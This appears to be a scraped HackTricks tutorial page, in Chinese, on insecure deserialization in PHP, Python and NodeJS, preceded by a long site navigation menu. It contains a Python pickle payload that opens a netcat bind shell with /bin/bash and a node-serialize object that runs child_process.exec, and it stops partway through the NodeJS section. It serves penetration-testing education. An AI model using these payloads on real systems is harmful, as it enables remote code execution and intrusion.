hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • 基本信息
  • PHP
  • PHP反序列化 + 自动加载类
  • 序列化引用值
  • PHPGGC (ysoserial for PHP)
  • phar:// 元数据反序列化
  • Python
  • Pickle
  • Yaml & jsonpickle
  • 类污染(Python原型污染)
  • NodeJS
  • JS魔术函数
  • __proto__ 和 prototype 污染
  • node-serialize
  • funcster
  • serialize-javascript
  • Cryo库
  • Java - HTTP
  • 指纹
  • 检查是否存在漏洞
  • 利用
  • 实验室
  • 为什么
  • 预防措施
  • 参考资料
  • JNDI 注入 & log4Shell
  • JMS - Java 消息服务
  • 产品
  • 利用
  • 参考资料
  • .Net
  • 指纹
  • ysoserial.net
  • ViewState
  • 预防措施
  • 参考资料
  • Ruby
  1. Pentesting Web

Deserialization

上一页Dependency Confusion下一页NodeJS - __proto__ & prototype Pollution

最后更新于1年前

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

  • 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看!

  • 获取

  • 探索,我们的独家收藏品

  • 加入 💬 或 或 关注我们的Twitter 🐦 。

  • 通过向和 github仓库提交PR来分享您的黑客技巧。

基本信息

序列化是将对象转换为可保存的格式的方法,目的是将对象存储或作为通信过程的一部分传输。这种技术通常用于确保对象可以在以后的某个时间重新创建,保持其结构和状态。

反序列化相反,是对抗序列化的过程。它涉及将以特定格式结构化的数据重新构建为对象。

反序列化可能很危险,因为它潜在地允许攻击者操纵序列化数据以执行有害代码或在对象重建过程中导致应用程序出现意外行为。

PHP

在PHP中,在序列化和反序列化过程中使用了特定的魔术方法:

  • __sleep:在对象被序列化时调用。此方法应返回一个包含应该被序列化的对象所有属性名称的数组。通常用于提交挂起数据或执行类似的清理任务。

  • __wakeup:在对象被反序列化时调用。用于重新建立在序列化过程中可能丢失的任何数据库连接并执行其他重新初始化任务。

  • __unserialize:当对象被反序列化时,如果存在此方法,则调用它而不是__wakeup。与__wakeup相比,它对反序列化过程提供了更多控制。

  • __destruct:当对象即将被销毁或脚本结束时调用此方法。通常用于清理任务,如关闭文件句柄或数据库连接。

  • __toString:此方法允许将对象视为字符串。它可用于根据其中的函数调用读取文件或执行其他任务,有效地提供对象的文本表示。

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

如果您查看结果,您会发现在对象被反序列化时会调用函数**__wakeup和__destruct。请注意,在一些教程中,您会发现在尝试打印某个属性时会调用__toString函数,但显然不再发生**这种情况。

如果在类中实现了方法**__unserialize(array $data),则会调用该方法而不是__wakeup()**。它允许您通过提供序列化数据作为数组来反序列化对象。您可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

PHP反序列化 + 自动加载类

您可以滥用PHP的自动加载功能来加载任意的php文件和更多内容:

序列化引用值

如果出于某种原因,您想将一个值序列化为对另一个值序列化的引用,您可以:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

phar:// 元数据反序列化

如果您发现了一个仅仅读取文件而不执行其中的php代码的LFI,例如使用函数如 file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()。 您可以尝试滥用使用phar协议读取文件时发生的反序列化**。 有关更多信息,请阅读以下文章:

Python

Pickle

当对象被反序列化时,将执行函数 __reduce__。 当被利用时,服务器可能会返回错误。

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

要了解有关逃离pickle jails的更多信息,请查看:

Yaml & jsonpickle

以下页面介绍了在yaml python库中滥用不安全的反序列化的技术,并最后提供了一个工具,可用于生成Pickle、PyYAML、jsonpickle和ruamel.yaml的RCE反序列化有效负载:

类污染(Python原型污染)

NodeJS

JS魔术函数

JS 没有像PHP或Python那样会在创建对象时执行的"魔术"函数。但它有一些经常被使用,即使没有直接调用的函数,比如**toString、valueOf、toJSON。 如果滥用反序列化,您可以破坏这些函数以执行其他代码**(潜在地滥用原型污染),从而在调用它们时执行任意代码。

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ 和 prototype 污染

如果您想了解这个技术,请查看以下教程:

该库允许对函数进行序列化。示例:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

序列化对象将如下所示:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

在示例中,当函数被序列化时,会在序列化对象后附加 _$$ND_FUNC$$_ 标志。

在文件 node-serialize/lib/serialize.js 中,您可以找到相同的标志以及代码如何使用它。

正如您在最后一段代码中所看到的,如果找到标志,则会使用 eval 来反序列化函数,因此基本上用户输入被用在 eval 函数内。

然而,仅仅序列化一个函数不会执行它,因为需要代码的某部分调用 y.rce,在我们的示例中这是高度不可能的。 无论如何,您可以修改序列化对象,添加一些括号,以便在反序列化对象时自动执行序列化函数。 在下一段代码中,请注意最后的括号以及 unserialize 函数将如何自动执行代码:

